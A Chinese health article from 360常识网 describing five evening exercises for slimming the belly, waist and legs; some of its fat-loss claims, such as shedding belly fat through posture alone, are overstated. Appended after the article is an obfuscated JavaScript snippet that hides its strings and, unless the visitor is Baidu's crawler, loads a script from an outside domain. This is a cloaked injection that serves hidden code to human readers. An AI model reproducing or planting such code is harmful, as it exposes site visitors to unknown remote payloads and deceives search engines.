当前位置:首页 > 减肥 > 运动减肥 > 正文

适合晚上瘦身的运动有什么?

2017-06-11 23:43:06  来源:360常识网   热度:
导语:身材不好对美眉来说是很残忍的,不过瘦身减肥的方法有很多,只要能够根据自己的身体状况作出正确的选择,每天坚持下去,效果还是很不错的,

身材不好对美眉来说是很残忍的,不过瘦身减肥的方法有很多,只要能够根据自己的身体状况作出正确的选择,每天坚持下去,效果还是很不错的,现如今多数人白天都是没大有时间的,毕竟要上班还要学习,因此充分利用晚上时间还是很有必要的,那么适合晚上瘦身的运动有什么?

1、仰卧起坐

如果想达到减去腹部赘肉的目的,就要控制住节奏,避免一开始就做很多次数的仰卧起坐,导致肌肉酸疼。最初可以尝试一分钟做5次,此后慢慢增加,直至达到每分钟30次左右即可。要注意控制发力的部位是腰部,而不是腿部,或者手臂。

2、挺腰直身端坐

减肥有时并不像人们想像的那么困难。有些人只要纠正坐姿,收腹挺胸,便能减去一些聚积于腹部的脂肪。随时提醒自己挺胸、缩腹、直腰、坐如悬钟,哪怕是不能始终保持,想起来就做,都有可能从肚子上减去1公斤或更多累赘的脂肪。

3、睡前运动瘦腿

仰卧,双腿向上举起,交替用力做蹬车的动作。保持自然呼吸,练习的时候最好绷直脚面,左右腿各重复练习100次。这个动作熟练后,可以加强难度

4、睡前运动瘦腰

仰卧床上,双手抓着头上方的床沿,臀部以下向左转动到最大极限。稍微停留几秒,然后恢复正常。身体再向右侧转动到最大极限。左右各练习15-20次。练习的时候上半身保持不动,能减少腰侧的赘肉和脂肪。

5、睡前运动瘦腹

仰卧,双臂伸直放在身体两侧。左腿屈膝抬起,吸气,双手抱紧左腿膝关节向胸部靠,抬起上半身,眼睛看着左边。呼气,还原动作。换右腿重复练习。每侧腿练习20次。然后双腿屈膝练习10次。能减少腰部赘肉,增强腹部肌肉。

上文中对适合晚上瘦身的运动有什么给出了明确的介绍,想必大家也都很清楚了,只要能够长期坚持正确的运动锻炼,不但对身体起到保健效果,还能迅速的燃烧掉体内多余的脂肪,瘦身效果还是很不错的,希望对大家有所帮助。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}